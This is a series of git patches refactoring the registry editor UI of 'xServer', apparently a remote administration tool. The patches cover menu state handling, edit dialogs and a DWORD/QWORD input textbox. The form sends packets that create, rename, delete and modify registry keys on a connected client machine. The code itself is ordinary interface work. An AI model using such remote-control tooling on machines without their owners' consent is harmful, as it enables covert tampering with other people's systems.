tvRegistryDirectory_AfterLabelEdit(object sender, NodeLabelEditEven private void tvRegistryDirectory_BeforeExpand(object sender, TreeViewCancelEventArgs e) { - // Before expansion of the node, prepare the first node with RegistryKeys. TreeNode parentNode = e.Node; // If nothing is there (yet). @@ -508,32 +418,24 @@ private void tvRegistryDirectory_BeforeExpand(object sender, TreeViewCancelEvent tvRegistryDirectory.SuspendLayout(); parentNode.Nodes.Clear(); - // Send a packet to retrieve the data to use for the nodes. new xServer.Core.Packets.ServerPackets.DoLoadRegistryKey(parentNode.FullPath).Execute(_connectClient); tvRegistryDirectory.ResumeLayout(); - //Cancel expand + e.Cancel = true; } } private void tvRegistryDirectory_NodeMouseClick(object sender, TreeNodeMouseClickEventArgs e) { - if (tvRegistryDirectory.SelectedNode != e.Node) + if (e.Button == MouseButtons.Right) { - //Select the clicked node + //Bug fix with rightclick not working for selectednode tvRegistryDirectory.SelectedNode = e.Node; - //Activate sorting - lstRegistryKeys.Sorting = SortOrder.Ascending; - } - - /* Enable delete and rename if not root node */ - SetDeleteAndRename(tvRegistryDirectory.SelectedNode.Parent != null); - //Check if right click, and if so provide the contrext menu - if (e.Button == MouseButtons.Right) - { + //Display the context menu Point pos = new Point(e.X, e.Y); + CreateTreeViewMenuStrip(); tv_ContextMenuStrip.Show(tvRegistryDirectory, pos); } } @@ -542,13 +444,16 @@ private void tvRegistryDirectory_BeforeSelect(object sender, TreeViewCancelEvent { if (e.Node != null) { - UpdateLstRegistryKeys(e.Node); + //Activate sorting (Make sure to sort values correctly) + lstRegistryValues.Sorting = SortOrder.Ascending; + + UpdateLstRegistryValues(e.Node); } } private void tvRegistryDirectory_KeyUp(object sender, KeyEventArgs e) { - if (e.KeyCode == Keys.Delete) + if (e.KeyCode == Keys.Delete && GetDeleteState()) { deleteRegistryKey_Click(this, e); } @@ -556,30 +461,59 @@ private void tvRegistryDirectory_KeyUp(object sender, KeyEventArgs e) #endregion - #region ToolStrip Helpfunctions + #region ToolStrip and Contextmenu Helpfunctions + + private void CreateEditToolStrip() + { + this.modifyToolStripMenuItem1.Visible = + this.modifyBinaryDataToolStripMenuItem1.Visible = + this.modifyNewtoolStripSeparator.Visible = lstRegistryValues.Focused; + + this.modifyToolStripMenuItem1.Enabled = + this.modifyBinaryDataToolStripMenuItem1.Enabled = lstRegistryValues.SelectedItems.Count == 1; + + this.renameToolStripMenuItem2.Enabled = GetRenameState(); + this.deleteToolStripMenuItem2.Enabled = GetDeleteState(); + } + + private void CreateTreeViewMenuStrip() + { + this.renameToolStripMenuItem.Enabled = tvRegistryDirectory.SelectedNode.Parent != null; + + this.deleteToolStripMenuItem.Enabled = tvRegistryDirectory.SelectedNode.Parent != null; + } - public void SetDeleteAndRename(bool enable) + private void CreateListViewMenuStrip() { - this.deleteToolStripMenuItem.Enabled = enable; - this.renameToolStripMenuItem.Enabled = enable; - this.deleteToolStripMenuItem2.Enabled = enable; - this.renameToolStripMenuItem2.Enabled = enable; + this.modifyToolStripMenuItem.Enabled = + this.modifyBinaryDataToolStripMenuItem.Enabled = lstRegistryValues.SelectedItems.Count == 1; + + this.renameToolStripMenuItem1.Enabled = lstRegistryValues.SelectedItems.Count == 1 && !lstRegistryValues.SelectedItems.ContainsKey(DEFAULT_REG_VALUE); + + this.deleteToolStripMenuItem1.Enabled = tvRegistryDirectory.SelectedNode != null && lstRegistryValues.SelectedItems.Count > 0; } #endregion #region MenuStrip Action + private void editToolStripMenuItem_DropDownOpening(object sender, EventArgs e) + { + CreateEditToolStrip(); + } + private void menuStripExit_Click(object sender, EventArgs e) { this.Close(); } private void menuStripDelete_Click(object sender, EventArgs e) { - if(tvRegistryDirectory.Focused) { + if(tvRegistryDirectory.Focused) + { deleteRegistryKey_Click(this, e); } - else if (lstRegistryKeys.Focused) { + else if (lstRegistryValues.Focused) + { deleteRegistryValue_Click(this, e); } } @@ -590,7 +524,7 @@ private void menuStripRename_Click(object sender, EventArgs e) { renameRegistryKey_Click(this, e); } - else if (lstRegistryKeys.Focused) + else if (lstRegistryValues.Focused) { renameRegistryValue_Click(this, e); } @@ -605,16 +539,18 @@ private void lstRegistryKeys_MouseClick(object sender, MouseEventArgs e) if (e.Button == MouseButtons.Right) { Point pos = new Point(e.X, e.Y); + //Try to check if a item was clicked - if (lstRegistryKeys.GetItemAt(pos.X, pos.Y) == null) + if (lstRegistryValues.GetItemAt(pos.X, pos.Y) == null) { //Not on a item - lst_ContextMenuStrip.Show(lstRegistryKeys, pos); + lst_ContextMenuStrip.Show(lstRegistryValues, pos); } else { //Clicked on a item - selectedItem_ContextMenuStrip.Show(lstRegistryKeys, pos); + CreateListViewMenuStrip(); + selectedItem_ContextMenuStrip.Show(lstRegistryValues, pos); } } } @@ -623,127 +559,80 @@ private void lstRegistryKeys_AfterLabelEdit(object sender, LabelEditEventArgs e) { if (e.Label != null && tvRegistryDirectory.SelectedNode != null) { - //Prevent the change of the label e.CancelEdit = true; int index = e.Item; if (e.Label.Length > 0) { - if (lstRegistryKeys.Items.ContainsKey(e.Label)) + if (lstRegistryValues.Items.ContainsKey(e.Label)) { - //Prompt error MessageBox.Show("Invalid label. \nA node with that label already exists.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); - lstRegistryKeys.Items[index].BeginEdit(); + lstRegistryValues.Items[index].BeginEdit(); return; } - //Normal rename action - //Perform Rename action - new xServer.Core.Packets.ServerPackets.DoRenameRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, lstRegistryKeys.Items[index].Name, e.Label).Execute(_connectClient); + new xServer.Core.Packets.ServerPackets.DoRenameRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, lstRegistryValues.Items[index].Name, e.Label).Execute(_connectClient); - lstRegistryKeys.LabelEdit = false; + lstRegistryValues.LabelEdit = false; } else { - //Prompt error MessageBox.Show("Invalid label. \nThe label cannot be blank.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); - lstRegistryKeys.Items[index].BeginEdit(); + lstRegistryValues.Items[index].BeginEdit(); } } else { - lstRegistryKeys.LabelEdit = false; + lstRegistryValues.LabelEdit = false; } } - private void lstRegistryKeys_ItemSelectionChanged(object sender, ListViewItemSelectionChangedEventArgs e) - { - modifyToolStripMenuItem.Enabled = lstRegistryKeys.SelectedItems.Count == 1; - modifyToolStripMenuItem1.Enabled = lstRegistryKeys.SelectedItems.Count == 1; - modifyBinaryDataToolStripMenuItem.Enabled = lstRegistryKeys.SelectedItems.Count == 1; - modifyBinaryDataToolStripMenuItem1.Enabled = lstRegistryKeys.SelectedItems.Count == 1; - - //Make sure that only one item selected and that the item is not a default - renameToolStripMenuItem1.Enabled = lstRegistryKeys.SelectedItems.Count == 1 && e.Item.Name != DEFAULT_REG_VALUE; - renameToolStripMenuItem2.Enabled = lstRegistryKeys.SelectedItems.Count == 1 && e.Item.Name != DEFAULT_REG_VALUE; - - deleteToolStripMenuItem2.Enabled = lstRegistryKeys.SelectedItems.Count > 0; - } - private void lstRegistryKeys_KeyUp(object sender, KeyEventArgs e) { - if (e.KeyCode == Keys.Delete) + if (e.KeyCode == Keys.Delete && GetDeleteState()) { deleteRegistryValue_Click(this, e); } } - private void lstRegistryKeys_Enter(object sender, EventArgs e) - { - /* Make the modifers visible */ - modifyNewtoolStripSeparator.Visible = true; - - modifyToolStripMenuItem1.Visible = true; - modifyBinaryDataToolStripMenuItem1.Visible = true; - } - - private void lstRegistryKeys_Leave(object sender, EventArgs e) - { - /* Disable the modify functions (only avaliable for registry values) */ - modifyNewtoolStripSeparator.Visible = false; - - modifyToolStripMenuItem1.Visible = false; - modifyBinaryDataToolStripMenuItem1.Visible = false; - } - #endregion #region ContextMenu private void createNewRegistryKey_Click(object sender, EventArgs e) { - if (tvRegistryDirectory.SelectedNode != null) + if (!(tvRegistryDirectory.SelectedNode.IsExpanded) && tvRegistryDirectory.SelectedNode.Nodes.Count > 0) { - if (!(tvRegistryDirectory.SelectedNode.IsExpanded) && tvRegistryDirectory.SelectedNode.Nodes.Count > 0) - { - //Subscribe (wait for node to expand) - tvRegistryDirectory.AfterExpand += new System.Windows.Forms.TreeViewEventHandler(this.createRegistryKey_AfterExpand); - tvRegistryDirectory.SelectedNode.Expand(); - } - else - { - //Try to create a new subkey - new xServer.Core.Packets.ServerPackets.DoCreateRegistryKey(tvRegistryDirectory.SelectedNode.FullPath).Execute(_connectClient); - } + //Subscribe (wait for node to expand) + tvRegistryDirectory.AfterExpand += new System.Windows.Forms.TreeViewEventHandler(this.createRegistryKey_AfterExpand); + tvRegistryDirectory.SelectedNode.Expand(); + } + else + { + new xServer.Core.Packets.ServerPackets.DoCreateRegistryKey(tvRegistryDirectory.SelectedNode.FullPath).Execute(_connectClient); } } private void deleteRegistryKey_Click(object sender, EventArgs e) { - if (tvRegistryDirectory.SelectedNode != null && tvRegistryDirectory.SelectedNode.Parent != null) - { - //Prompt user to confirm delete - string msg = "Are you sure you want to permanently delete this key and all of its subkeys?"; - string caption = "Confirm Key Delete"; - var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); + //Prompt user to confirm delete + string msg = "Are you sure you want to permanently delete this key and all of its subkeys?"; + string caption = "Confirm Key Delete"; + var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); - if (answer == DialogResult.Yes) - { - string parentPath = tvRegistryDirectory.SelectedNode.Parent.FullPath; + if (answer == DialogResult.Yes) + { + string parentPath = tvRegistryDirectory.SelectedNode.Parent.FullPath; - new xServer.Core.Packets.ServerPackets.DoDeleteRegistryKey(parentPath, tvRegistryDirectory.SelectedNode.Name).Execute(_connectClient); - } + new xServer.Core.Packets.ServerPackets.DoDeleteRegistryKey(parentPath, tvRegistryDirectory.SelectedNode.Name).Execute(_connectClient); } } private void renameRegistryKey_Click(object sender, EventArgs e) { - if (tvRegistryDirectory.SelectedNode != null && tvRegistryDirectory.SelectedNode.Parent != null) - { - tvRegistryDirectory.LabelEdit = true; - tvRegistryDirectory.SelectedNode.BeginEdit(); - } + tvRegistryDirectory.LabelEdit = true; + tvRegistryDirectory.SelectedNode.BeginEdit(); } #region New Registry Value @@ -808,21 +697,19 @@ private void createExpandStringRegistryValue_Click(object sender, EventArgs e) private void deleteRegistryValue_Click(object sender, EventArgs e) { - if(tvRegistryDirectory.SelectedNode != null && lstRegistryKeys.SelectedItems.Count > 0) { - //Prompt user to confirm delete - string msg = "Deleting certain registry values could cause system instability. Are you sure you want to permanently delete " + (lstRegistryKeys.SelectedItems.Count == 1 ? "this value?": "these values?"); - string caption = "Confirm Value Delete"; - var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); + //Prompt user to confirm delete + string msg = "Deleting certain registry values could cause system instability. Are you sure you want to permanently delete " + (lstRegistryValues.SelectedItems.Count == 1 ? "this value?": "these values?"); + string caption = "Confirm Value Delete"; + var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); - if (answer == DialogResult.Yes) + if (answer == DialogResult.Yes) + { + foreach (var item in lstRegistryValues.SelectedItems) { - foreach (var item in lstRegistryKeys.SelectedItems) + if (item.GetType() == typeof(RegistryValueLstItem)) { - if (item.GetType() == typeof(RegistryValueLstItem)) - { - RegistryValueLstItem registyValue = (RegistryValueLstItem)item; - new xServer.Core.Packets.ServerPackets.DoDeleteRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, registyValue.RegName).Execute(_connectClient); - } + RegistryValueLstItem registyValue = (RegistryValueLstItem)item; + new xServer.Core.Packets.ServerPackets.DoDeleteRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, registyValue.RegName).Execute(_connectClient); } } } @@ -830,56 +717,18 @@ private void deleteRegistryValue_Click(object sender, EventArgs e) private void renameRegistryValue_Click(object sender, EventArgs e) { - if (tvRegistryDirectory.SelectedNode != null && lstRegistryKeys.SelectedItems.Count == 1) - { - //Before edit make sure that it is not a default registry value - if (lstRegistryKeys.SelectedItems[0].Name != DEFAULT_REG_VALUE) - { - lstRegistryKeys.LabelEdit = true; - lstRegistryKeys.SelectedItems[0].BeginEdit(); - } - - } + lstRegistryValues.LabelEdit = true; + lstRegistryValues.SelectedItems[0].BeginEdit(); } private void modifyRegistryValue_Click(object sender, EventArgs e) { - if (tvRegistryDirectory.SelectedNode != null && lstRegistryKeys.SelectedItems.Count == 1) - { - if (tvRegistryDirectory.SelectedNode.Tag != null && tvRegistryDirectory.SelectedNode.Tag.GetType() == typeof(RegValueData[])) - { - string keyPath = tvRegistryDirectory.SelectedNode.FullPath; - string name = lstRegistryKeys.SelectedItems[0].Name == DEFAULT_REG_VALUE ? "" : lstRegistryKeys.SelectedItems[0].Name; - RegValueData value = ((RegValueData[])tvRegistryDirectory.SelectedNode.Tag).ToList().Find(item => item.Name == name); - - //Initialize the right form to allow editing - using (var frm = GetEditForm(keyPath, value, value.Kind)) - { - if(frm != null) - frm.ShowDialog(); - } - } - } + CreateModifyForm(false); } private void modifyBinaryDataRegistryValue_Click(object sender, EventArgs e) { - if (tvRegistryDirectory.SelectedNode != null && lstRegistryKeys.SelectedItems.Count == 1) - { - if (tvRegistryDirectory.SelectedNode.Tag != null && tvRegistryDirectory.SelectedNode.Tag.GetType() == typeof(RegValueData[])) - { - string keyPath = tvRegistryDirectory.SelectedNode.FullPath; - string name = lstRegistryKeys.SelectedItems[0].Name == DEFAULT_REG_VALUE ? "" : lstRegistryKeys.SelectedItems[0].Name; - RegValueData value = ((RegValueData[])tvRegistryDirectory.SelectedNode.Tag).ToList().Find(item => item.Name == name); - - //Initialize binary editor - using (var frm = GetEditForm(keyPath, value, RegistryValueKind.Binary)) - { - if (frm != null) - frm.ShowDialog(); - } - } - } + CreateModifyForm(true); } #endregion @@ -892,32 +741,33 @@ private void createRegistryKey_AfterExpand(object sender, TreeViewEventArgs e) { if (e.Node == tvRegistryDirectory.SelectedNode) { - //Trigger a click createNewRegistryKey_Click(this, e); - //Unsubscribe tvRegistryDirectory.AfterExpand -= new System.Windows.Forms.TreeViewEventHandler(this.createRegistryKey_AfterExpand); } } - //A special case for when the node was empty and add was performed before expand - private void specialCreateRegistryKey_AfterExpand(object sender, TreeViewEventArgs e) - { - if (e.Node == tvRegistryDirectory.SelectedNode) - { - tvRegistryDirectory.SelectedNode = tvRegistryDirectory.SelectedNode.FirstNode; - tvRegistryDirectory.LabelEdit = true; + #endregion - tvRegistryDirectory.SelectedNode.BeginEdit(); + #region Help function - //Unsubscribe - tvRegistryDirectory.AfterExpand -= new System.Windows.Forms.TreeViewEventHandler(this.specialCreateRegistryKey_AfterExpand); - } + private bool GetDeleteState() + { + if (lstRegistryValues.Focused) + return lstRegistryValues.SelectedItems.Count > 0; + else if (tvRegistryDirectory.Focused && tvRegistryDirectory.SelectedNode != null) + return tvRegistryDirectory.SelectedNode.Parent != null; + return false; } - #endregion - - #region Help function + private bool GetRenameState() + { + if (lstRegistryValues.Focused) + return lstRegistryValues.SelectedItems.Count == 1 && !lstRegistryValues.SelectedItems.ContainsKey(DEFAULT_REG_VALUE); + else if (tvRegistryDirectory.Focused && tvRegistryDirectory.SelectedNode != null) + return tvRegistryDirectory.SelectedNode.Parent != null; + return false; + } private Form GetEditForm(string keyPath, RegValueData value, RegistryValueKind valueKind) { @@ -938,6 +788,21 @@ private Form GetEditForm(string keyPath, RegValueData value, RegistryValueKind v } } + private void CreateModifyForm(bool isBinary) + { + string keyPath = tvRegistryDirectory.SelectedNode.FullPath; + string name = lstRegistryValues.SelectedItems[0].Name == DEFAULT_REG_VALUE ? "" : lstRegistryValues.SelectedItems[0].Name; + RegValueData value = ((RegValueData[])tvRegistryDirectory.SelectedNode.Tag).ToList().Find(item => item.Name == name); + + RegistryValueKind kind = isBinary ? RegistryValueKind.Binary : value.Kind; + + using (var frm = GetEditForm(keyPath, value, kind)) + { + if (frm != null) + frm.ShowDialog(); + } + } + #endregion } diff --git a/Server/Forms/FrmRegistryEditor.resx b/Server/Forms/FrmRegistryEditor.resx index 361cdba0a..b17c42464 100644 --- a/Server/Forms/FrmRegistryEditor.resx +++ b/Server/Forms/FrmRegistryEditor.resx @@ -125,7 +125,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm - BwAAAk1TRnQBSQFMAwEBAAFQAQQBUAEEARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA + BwAAAk1TRnQBSQFMAwEBAAEwAQUBMAEFARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA AUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm @@ -169,7 +169,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk - CQAAAk1TRnQBSQFMAgEBAgEAAXABAwFwAQMBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + CQAAAk1TRnQBSQFMAgEBAgEAAVABBAFQAQQBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA From ac7a12f277697c451bf7798044787e7135c5ecd7 Mon Sep 17 00:00:00 2001 From: LjungErik Date: Fri, 22 Apr 2016 09:32:06 +0200 Subject: [PATCH 030/229] Improved code for 'FrmRegValueEditString' * Added correct tabing indices * Removed unnecessary Load function * Removed unnecessary Close code --- .../Forms/FrmRegValueEditString.Designer.cs | 41 ++++++------------- Server/Forms/FrmRegValueEditString.cs | 12 ------ 2 files changed, 12 insertions(+), 41 deletions(-) diff --git a/Server/Forms/FrmRegValueEditString.Designer.cs b/Server/Forms/FrmRegValueEditString.Designer.cs index bfae41aab..d5cf92b75 100644 --- a/Server/Forms/FrmRegValueEditString.Designer.cs +++ b/Server/Forms/FrmRegValueEditString.Designer.cs @@ -35,8 +35,6 @@ private void InitializeComponent() this.valueDataTxtBox = new System.Windows.Forms.TextBox(); this.cancelButton = new System.Windows.Forms.Button(); this.okButton = new System.Windows.Forms.Button(); - this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel(); - this.flowLayoutPanel1.SuspendLayout(); this.SuspendLayout(); // // label1 @@ -48,7 +46,6 @@ private void InitializeComponent() this.label1.Location = new System.Drawing.Point(9, 12); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(66, 13); - this.label1.TabIndex = 0; this.label1.Text = "Value name:"; this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // @@ -61,7 +58,7 @@ private void InitializeComponent() this.valueNameTxtBox.Name = "valueNameTxtBox"; this.valueNameTxtBox.ReadOnly = true; this.valueNameTxtBox.Size = new System.Drawing.Size(343, 20); - this.valueNameTxtBox.TabIndex = 1; + this.valueNameTxtBox.TabIndex = 3; // // label2 // @@ -72,7 +69,6 @@ private void InitializeComponent() this.label2.Location = new System.Drawing.Point(9, 60); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(61, 13); - this.label2.TabIndex = 2; this.label2.Text = "Value data:"; this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // @@ -84,43 +80,30 @@ private void InitializeComponent() this.valueDataTxtBox.Location = new System.Drawing.Point(12, 76); this.valueDataTxtBox.Name = "valueDataTxtBox"; this.valueDataTxtBox.Size = new System.Drawing.Size(343, 20); - this.valueDataTxtBox.TabIndex = 3; + this.valueDataTxtBox.TabIndex = 0; // // cancelButton // this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; - this.cancelButton.Location = new System.Drawing.Point(265, 3); + this.cancelButton.Location = new System.Drawing.Point(280, 111); this.cancelButton.Name = "cancelButton"; this.cancelButton.Size = new System.Drawing.Size(75, 23); - this.cancelButton.TabIndex = 4; + this.cancelButton.TabIndex = 2; this.cancelButton.Text = "Cancel"; this.cancelButton.UseVisualStyleBackColor = true; - this.cancelButton.Click += new System.EventHandler(this.cancelButton_Click); // // okButton // - this.okButton.Location = new System.Drawing.Point(184, 3); + this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK; + this.okButton.Location = new System.Drawing.Point(199, 111); this.okButton.Name = "okButton"; this.okButton.Size = new System.Drawing.Size(75, 23); - this.okButton.TabIndex = 5; + this.okButton.TabIndex = 1; this.okButton.Text = "OK"; this.okButton.UseVisualStyleBackColor = true; this.okButton.Click += new System.EventHandler(this.okButton_Click); // - // flowLayoutPanel1 - // - this.flowLayoutPanel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.flowLayoutPanel1.Controls.Add(this.cancelButton); - this.flowLayoutPanel1.Controls.Add(this.okButton); - this.flowLayoutPanel1.Location = new System.Drawing.Point(12, 108); - this.flowLayoutPanel1.Name = "flowLayoutPanel1"; - this.flowLayoutPanel1.RightToLeft = System.Windows.Forms.RightToLeft.Yes; - this.flowLayoutPanel1.Size = new System.Drawing.Size(343, 33); - this.flowLayoutPanel1.TabIndex = 6; - // // FrmRegValueEditString // this.AcceptButton = this.okButton; @@ -128,20 +111,21 @@ private void InitializeComponent() this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.CancelButton = this.cancelButton; this.ClientSize = new System.Drawing.Size(364, 146); - this.Controls.Add(this.flowLayoutPanel1); - this.Controls.Add(this.valueDataTxtBox); + this.Controls.Add(this.cancelButton); + this.Controls.Add(this.okButton); this.Controls.Add(this.label2); this.Controls.Add(this.valueNameTxtBox); + this.Controls.Add(this.valueDataTxtBox); this.Controls.Add(this.label1); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.KeyPreview = true; this.MaximizeBox = false; this.MinimizeBox = false; this.Name = "FrmRegValueEditString"; this.ShowIcon = false; + this.ShowInTaskbar = false; this.Text = "Edit String"; - this.Load += new System.EventHandler(this.FrmRegValueEditString_Load); - this.flowLayoutPanel1.ResumeLayout(false); this.ResumeLayout(false); this.PerformLayout(); @@ -155,6 +139,5 @@ private void InitializeComponent() private System.Windows.Forms.TextBox valueDataTxtBox; private System.Windows.Forms.Button cancelButton; private System.Windows.Forms.Button okButton; - private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel1; } } \ No newline at end of file diff --git a/Server/Forms/FrmRegValueEditString.cs b/Server/Forms/FrmRegValueEditString.cs index e518b194f..d06bb09ee 100644 --- a/Server/Forms/FrmRegValueEditString.cs +++ b/Server/Forms/FrmRegValueEditString.cs @@ -32,12 +32,6 @@ public FrmRegValueEditString(string keyPath, RegValueData value, Client c) this.valueDataTxtBox.Text = value.Data.ToString(); } - private void FrmRegValueEditString_Load(object sender, EventArgs e) - { - this.valueDataTxtBox.Select(); - this.valueDataTxtBox.Focus(); - } - private void okButton_Click(object sender, EventArgs e) { if (valueDataTxtBox.Text != _value.Data.ToString()) @@ -45,12 +39,6 @@ private void okButton_Click(object sender, EventArgs e) object valueData = valueDataTxtBox.Text; new xServer.Core.Packets.ServerPackets.DoChangeRegistryValue(_keyPath, new RegValueData(_value.Name, _value.Kind, valueData)).Execute(_connectClient); } - this.Close(); - } - - private void cancelButton_Click(object sender, EventArgs e) - { - this.Close(); } } } From adfc05111ce98b65bac3572371326832029ed1c6 Mon Sep 17 00:00:00 2001 From: LjungErik Date: Fri, 22 Apr 2016 09:56:47 +0200 Subject: [PATCH 031/229] Improved and restructured 'FrmRegValueEditWord' * Created new custom textbox to simplify conversion code * Created enum to hold type of word (DWORD or QWORD) * Removed unnecessary code for closing and loading --- Server/Controls/WordTextBox.Designer.cs | 36 ++++ Server/Controls/WordTextBox.cs | 177 +++++++++++++++++++ Server/Enums/WordType.cs | 13 ++ Server/Forms/FrmRegValueEditWord.Designer.cs | 76 ++++---- Server/Forms/FrmRegValueEditWord.cs | 177 ++++--------------- Server/Server.csproj | 7 + 6 files changed, 297 insertions(+), 189 deletions(-) create mode 100644 Server/Controls/WordTextBox.Designer.cs create mode 100644 Server/Controls/WordTextBox.cs create mode 100644 Server/Enums/WordType.cs diff --git a/Server/Controls/WordTextBox.Designer.cs b/Server/Controls/WordTextBox.Designer.cs new file mode 100644 index 000000000..ef175a61a --- /dev/null +++ b/Server/Controls/WordTextBox.Designer.cs @@ -0,0 +1,36 @@ +namespace xServer.Controls +{ + partial class WordTextBox + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + components = new System.ComponentModel.Container(); + } + + #endregion + } +} diff --git a/Server/Controls/WordTextBox.cs b/Server/Controls/WordTextBox.cs new file mode 100644 index 000000000..54d8fcf6c --- /dev/null +++ b/Server/Controls/WordTextBox.cs @@ -0,0 +1,177 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Globalization; +using System.Linq; +using System.Text; +using System.Windows.Forms; +using xServer.Enums; + +namespace xServer.Controls +{ + public partial class WordTextBox : TextBox + { + private bool isHexNumber; + private WordType type; + + public override int MaxLength + { + get + { + return base.MaxLength; + } + set { } + } + + public bool IsHexNumber + { + get { return isHexNumber; } + set + { + if (isHexNumber == value) + return; + + if(value) + { + if (Type == WordType.DWORD) + Text = UIntValue.ToString("x"); + else + Text = ULongValue.ToString("x"); + } + else + { + if (Type == WordType.DWORD) + Text = UIntValue.ToString(); + else + Text = ULongValue.ToString(); + } + + isHexNumber = value; + + UpdateMaxLength(); + } + } + + public WordType Type + { + get { return type; } + set + { + if (type == value) + return; + + type = value; + + UpdateMaxLength(); + } + } + + public uint UIntValue + { + get + { + try + { + if (String.IsNullOrEmpty(Text)) + return 0; + else if (IsHexNumber) + return UInt32.Parse(Text, NumberStyles.HexNumber); + else + return UInt32.Parse(Text); + } + catch (Exception) + { + return UInt32.MaxValue; + } + } + } + + public ulong ULongValue + { + get + { + try + { + if (String.IsNullOrEmpty(Text)) + return 0; + else if (IsHexNumber) + return UInt64.Parse(Text, NumberStyles.HexNumber); + else + return UInt64.Parse(Text); + } + catch (Exception) + { + return UInt64.MaxValue; + } + } + } + + public bool IsConversionValid() + { + if (String.IsNullOrEmpty(Text)) + return true; + + if (!IsHexNumber) + { + return ConvertToHex(); + } + return true; + } + + public WordTextBox() + { + InitializeComponent(); + base.MaxLength = 8; + } + + protected override void OnKeyPress(KeyPressEventArgs e) + { + base.OnKeyPress(e); + e.Handled = !IsValidChar(e.KeyChar); + } + + private bool IsValidChar(char ch) + { + return (Char.IsControl(ch) || + Char.IsDigit(ch) || + (IsHexNumber && Char.IsLetter(ch) && Char.ToLower(ch) <= 'f')); + } + + private void UpdateMaxLength() + { + if(Type == WordType.DWORD) + { + if (IsHexNumber) + base.MaxLength = 8; + else + base.MaxLength = 10; + } + else + { + if (IsHexNumber) + base.MaxLength = 16; + else + base.MaxLength = 20; + } + } + + + private bool ConvertToHex() + { + try + { + if (Type == WordType.DWORD) + UInt32.Parse(Text); + else + UInt64.Parse(Text); + return true; + } + catch (Exception) + { + return false; + } + } + } +} diff --git a/Server/Enums/WordType.cs b/Server/Enums/WordType.cs new file mode 100644 index 000000000..3d46599b4 --- /dev/null +++ b/Server/Enums/WordType.cs @@ -0,0 +1,13 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace xServer.Enums +{ + public enum WordType + { + DWORD, + QWORD + } +} diff --git a/Server/Forms/FrmRegValueEditWord.Designer.cs b/Server/Forms/FrmRegValueEditWord.Designer.cs index 91f8a307b..a87dd34e8 100644 --- a/Server/Forms/FrmRegValueEditWord.Designer.cs +++ b/Server/Forms/FrmRegValueEditWord.Designer.cs @@ -32,14 +32,12 @@ private void InitializeComponent() this.valueNameTxtBox = new 